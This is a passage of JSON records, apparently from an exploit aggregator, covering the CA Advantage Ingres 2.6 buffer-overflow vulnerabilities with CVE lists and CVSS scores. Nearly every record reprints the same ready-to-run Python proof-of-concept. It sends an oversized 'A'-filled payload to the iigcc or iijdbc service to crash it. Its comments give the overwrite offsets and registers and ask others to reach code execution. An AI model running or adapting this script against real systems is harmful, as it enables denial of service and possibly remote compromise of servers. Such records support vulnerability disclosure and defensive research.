crashed&#34;\r\n\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-69601", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-11-19T16:44:47", "description": "No description provided by source.", "cvss3": {}, "published": "2014-07-01T00:00:00", "title": "Ingress Database Server 2.6 - Multiple Remote Vulnerabilities", "type": "seebug", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2007-3334", "CVE-2007-3336", "CVE-2007-3337", "CVE-2007-3338"], "modified": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-83664", "id": "SSV:83664", "sourceData": "\n source: http://www.securityfocus.com/bid/24585/info\r\n\r\nIngress Database Server included in CA eTrust Secure Content Manager is prone to multiple remote vulnerabilities, including multiple stack- and heap-based buffer-overflow issues, multiple pointer-overwrite issues, and an arbitrary-file-overwrite issue.\r\n\r\nSuccessful exploits will allow attackers to completely compromise affected computers, including executing arbitrary code with SYSTEM-level privileges and truncating the &#39;alarkp.def&#39; file.\r\n\r\n# Exploit Title: Computer Associates Advantage Ingres 2.6 Denial of Service Vulnerabilities\r\n# Date: 2010-08-14\r\n# Author: fdisk\r\n# Version: 2.6\r\n# Tested on: Windows 2003 Server SP1 en\r\n# CVE: CVE-2007-3334 - CVE-2007-3336 - CVE-2007-3337 - CVE-2007-3338\r\n# Notes: Fixed in the last version.\r\n# please let me know if you are/were able to get code execution &#60;rr dot fdisk at gmail dot com&#62;\r\n\r\nimport socket\r\nimport sys\r\n\r\nif len(sys.argv) != 4:\r\n print &#34;Usage: ./CAAdvantageDoS.py &#60;Target IP&#62; &#60;Port&#62; &#60;Service&#62;&#34;\r\n print &#34;Vulnerable Services: iigcc, iijdbc&#34;\r\n sys.exit(1)\r\n\r\nhost = sys.argv[1]\r\nport = int(sys.argv[2])\r\nservice = sys.argv[3]\r\n\r\nif service == &#34;iigcc&#34;:\r\n payload = &#34;\\x41&#34; * 2106\r\nelif service == &#34;iijdbc&#34;:\r\n payload = &#34;\\x41&#34; * 1066\r\nelse:\r\n print &#34;Vulnerable Services: iigcc, iijdbc&#34;\r\n sys.exit(1)\r\n\r\npayload += &#34;\\x42&#34; * 4\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((host, port))\r\nprint &#34;Sending payload&#34;\r\ns.send(payload)\r\ndata = s.recv(1024)\r\ns.close()\r\nprint &#39;Received&#39;, repr(data)\r\n\r\nprint service + &#34; crashed&#34;\r\n\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-83664", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:07", "description": "\nCA Advantage Ingres 2.6 - Multiple Buffer Overflow Vulnerabilities (PoC)", "edition": 2, "cvss3": {}, "published": "2010-08-14T00:00:00", "title": "CA Advantage Ingres 2.6 - Multiple Buffer Overflow Vulnerabilities (PoC)", "type": "exploitpack", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-3336", "CVE-2007-3338"], "modified": "2010-08-14T00:00:00", "id": "EXPLOITPACK:DAAC4C42D5378F08D46B31B383CA6A3B", "href": "", "sourceData": "# Exploit Title: Computer Associates Advantage Ingres 2.6 Multiple Buffer Overflow Vulnerabilities PoC\n# Date: 2010-08-14\n# Author: @fdiskyou\n# e-mail: rui at deniable.org\n# Version: 2.6\n# Tested on: Windows 2003 Server SP1 en\n# CVE: CVE-2007-3336 - CVE-2007-3338\n# Notes: Fixed in the last version.\n# iigcc - EDX holds a pointer that's overwritten at byte 2106 and it crashes while executing\n# MOV EAX,DWORD PTR DS:[EDX+8]\n# iijdbc - EDI holds a pointer that's overwritten at byte 1066 and it crashes while executing \n# CMP ECX,DWORD PTR DS:[EDI+4]\n# please let me know if you are/were able to get code execution\n\nimport socket\nimport sys\n\nif len(sys.argv) != 4:\n print \"Usage: ./CAAdvantageDoS.py <Target IP> <Port> <Service>\"\n print \"Vulnerable Services: iigcc, iijdbc\"\n sys.exit(1)\n\nhost = sys.argv[1]\nport = int(sys.argv[2])\nservice = sys.argv[3]\n\nif service == \"iigcc\":\n payload = \"\\x41\" * 2106\nelif service == \"iijdbc\":\n payload = \"\\x41\" * 1066\nelse:\n print \"Vulnerable Services: iigcc, iijdbc\"\n sys.exit(1)\n\npayload += \"\\x42\" * 4\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host, port))\nprint \"Sending payload\"\ns.send(payload)\ndata = s.recv(1024)\ns.close()\nprint 'Received', repr(data)\n\nprint service + \" crashed\"", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-01T19:04:21", "description": "\nIngress Database Server 2.6 - Multiple Remote Vulnerabilities", "edition": 2, "cvss3": {}, "published": "2007-06-21T00:00:00", "title": "Ingress Database Server 2.6 - Multiple Remote Vulnerabilities", "type": "exploitpack", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-3334", "CVE-2007-3336", "CVE-2007-3337", "CVE-2007-3338"], "modified": "2007-06-21T00:00:00", "id": "EXPLOITPACK:215A9E0E73AB212DC489033AC4E72DB6", "href": "", "sourceData": "source: https://www.securityfocus.com/bid/24585/info\n\nIngress Database Server included in CA eTrust Secure Content Manager is prone to multiple remote vulnerabilities, including multiple stack- and heap-based buffer-overflow issues, multiple pointer-overwrite issues, and an arbitrary-file-overwrite issue.\n\nSuccessful exploits will allow attackers to completely compromise affected computers, including executing arbitrary code with SYSTEM-level privileges and truncating the 'alarkp.def' file.\n\n# Exploit Title: Computer Associates Advantage Ingres 2.6 Denial of Service Vulnerabilities\n# Date: 2010-08-14\n# Author: fdisk\n# Version: 2.6\n# Tested on: Windows 2003 Server SP1 en\n# CVE: CVE-2007-3334 - CVE-2007-3336 - CVE-2007-3337 - CVE-2007-3338\n# Notes: Fixed in the last version.\n# please let me know if you are/were able to get code execution <rr dot fdisk at gmail dot com>\n\nimport socket\nimport sys\n\nif len(sys.argv) != 4:\n print \"Usage: ./CAAdvantageDoS.py <Target IP> <Port> <Service>\"\n print \"Vulnerable Services: iigcc, iijdbc\"\n sys.exit(1)\n\nhost = sys.argv[1]\nport = int(sys.argv[2])\nservice = sys.argv[3]\n\nif service == \"iigcc\":\n payload = \"\\x41\" * 2106\nelif service == \"iijdbc\":\n payload = \"\\x41\" * 1066\nelse:\n print \"Vulnerable Services: iigcc, iijdbc\"\n sys.exit(1)\n\npayload += \"\\x42\" * 4\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host, port))\nprint \"Sending payload\"\ns.send(payload)\ndata = s.recv(1024)\ns.close()\nprint 'Received', repr(data)\n\nprint service + \" crashed\"", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2022-01-13T06:51:25", "description": "", "cvss3": {}, "published": "2010-08-14T00:00:00", "type": "exploitdb", "title": "CA Advantage Ingres 2.6 - Multiple Buffer Overflow Vulnerabilities (PoC)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-3336", "CVE-2007-3338", "2007-3336"], "modified": "2010-08-14T00:00:00", "id": "EDB-ID:14646", "href": "https://www.exploit-db.com/exploits/14646", "sourceData": "# Exploit Title: Computer Associates Advantage Ingres 2.6 Multiple Buffer Overflow Vulnerabilities PoC\r\n# Date: 2010-08-14\r\n# Author: @fdiskyou\r\n# e-mail: rui at deniable.org\r\n# Version: 2.6\r\n# Tested on: Windows 2003 Server SP1 en\r\n# CVE: CVE-2007-3336 - CVE-2007-3338\r\n# Notes: Fixed in the last version.\r\n# iigcc - EDX holds a pointer that's overwritten at byte 2106 and it crashes while executing\r\n# MOV EAX,DWORD PTR DS:[EDX+8]\r\n# iijdbc - EDI holds a pointer that's overwritten at byte 1066 and it crashes while executing \r\n# CMP ECX,DWORD PTR DS:[EDI+4]\r\n# please let me know if you are/were able to get code execution\r\n\r\nimport socket\r\nimport sys\r\n\r\nif len(sys.argv) != 4:\r\n print \"Usage: ./CAAdvantageDoS.py <Target IP> <Port> <Service>\"\r\n print \"Vulnerable Services: iigcc, iijdbc\"\r\n sys.exit(1)\r\n\r\nhost = sys.argv[1]\r\nport = int(sys.argv[2])\r\nservice = sys.argv[3]\r\n\r\nif service == \"iigcc\":\r\n payload = \"\\x41\" * 2106\r\nelif service == \"iijdbc\":\r\n payload = \"\\x41\" * 1066\r\nelse:\r\n print \"Vulnerable Services: iigcc, iijdbc\"\r\n sys.exit(1)\r\n\r\npayload += \"\\x42\" * 4\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((host, port))\r\nprint \"Sending payload\"\r\ns.send(payload)\r\ndata = s.recv(1024)\r\ns.close()\r\nprint 'Received', repr(data)\r\n\r\nprint service + \" crashed\"", "sourceHref": "https://www.exploit-db.com/download/14646", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-04T17:47:14", "description": "", "cvss3": {}, "published": "2007-06-21T00:00:00", "type": "exploitdb", "title": "Ingress Database Server 2.6 - Multiple Remote Vulnerabilities", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2007-3334", "CVE-2007-3334", "CVE-2007-3336", "CVE-2007-3337", "CVE-2007-3338"], "modified": "2007-06-21T00:00:00", "id": "EDB-ID:30224", "href": "https://www.exploit-db.com/exploits/30224", "sourceData": "source: https://www.securityfocus.com/bid/24585/info\r\n\r\nIngress Database Server included in CA eTrust Secure Content Manager is prone to multiple remote vulnerabilities, including multiple stack- and heap-based buffer-overflow issues, multiple pointer-overwrite issues, and an arbitrary-file-overwrite issue.\r\n\r\nSuccessful exploits will allow attackers to completely compromise affected computers, including executing arbitrary code with SYSTEM-level privileges and truncating the 'alarkp.def' file.\r\n\r\n# Exploit Title: Computer Associates Advantage Ingres 2.6 Denial of Service Vulnerabilities\r\n# Date: 2010-08-14\r\n# Author: fdisk\r\n# Version: 2.6\r\n# Tested on: Windows 2003 Server SP1 en\r\n# CVE: CVE-2007-3334 - CVE-2007-3336 - CVE-2007-3337 - CVE-2007-3338\r\n# Notes: Fixed in the last version.\r\n# please let me know if you are/were able to get code execution <rr dot fdisk at gmail dot com>\r\n\r\nimport socket\r\nimport sys\r\n\r\nif len(sys.argv) != 4:\r\n print \"Usage: ./CAAdvantageDoS.py <Target IP> <Port> <Service>\"\r\n print \"Vulnerable Services: iigcc, iijdbc\"\r\n sys.exit(1)\r\n\r\nhost = sys.argv[1]\r\nport = int(sys.argv[2])\r\nservice = sys.argv[3]\r\n\r\nif service == \"iigcc\":\r\n payload = \"\\x41\" * 2106\r\nelif service == \"iijdbc\":\r\n payload = \"\\x41\" * 1066\r\nelse:\r\n print \"Vulnerable Services: iigcc, iijdbc\"\r\n sys.exit(1)\r\n\r\npayload += \"\\x42\" * 4\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((host, port))\r\nprint \"Sending payload\"\r\ns.send(payload)\r\ndata = s.recv(1024)\r\ns.close()\r\nprint 'Received', repr(data)\r\n\r\nprint service + \" crashed\"", "sourceHref": "https://www.exploit-db.com/download/30224", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2016-12-05T22:11:59", "description": "", "cvss3": {}, "published": "2010-08-17T00:00:00", "type": "packetstorm", "title": "Computer Associates Advantage Ingres 2.6 Denial Of Service", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2007-3334", "CVE-2007-3336", "CVE-2007-3337", "CVE-2007-3338"], "modified": "2010-08-17T00:00:00", "id": "PACKETSTORM:92818", "href": "https://packetstormsecurity.com/files/92818/Computer-Associates-Advantage-Ingres-2.6-Denial-Of-Service.html", "sourceData": "`# Exploit Title: Computer Associates Advantage Ingres 2.6 Denial of Service Vulnerabilities \n# Date: 2010-08-14 \n# Author: fdisk \n# Version: 2.6 \n# Tested on: Windows 2003 Server SP1 en \n# CVE: CVE-2007-3334 - CVE-2007-3336 - CVE-2007-3337 - CVE-2007-3338 \n# Notes: Fixed in the last version. \n# please let me know if you are/were able to get code execution <rr dot fdisk at gmail dot com> \n \nimport socket \nimport sys \n \nif len(sys.argv) != 4: \nprint \"Usage: ./CAAdvantageDoS.py <Target IP> <Port> <Service>\" \nprint \"Vulnerable Services: iigcc, iijdbc\" \nsys.exit(1) \n \nhost = sys.argv[1] \nport = int(sys.argv[2]) \nservice = sys.argv[3] \n \nif service == \"iigcc\": \npayload = \"\\x41\" * 2106 \nelif service == \"iijdbc\": \npayload = \"\\x41\" * 1066 \nelse: \nprint \"Vulnerable Services: iigcc, iijdbc\" \nsys.exit(1) \n \npayload += \"\\x42\" * 4 \n \ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \ns.connect((host, port)) \nprint \"Sending payload\" \ns.send(payload) \ndata = s.recv(1024) \ns.close() \nprint 'Received', repr(data) \n \nprint service + \" crashed\" \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/92818/caadvantageingres-dos.txt", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}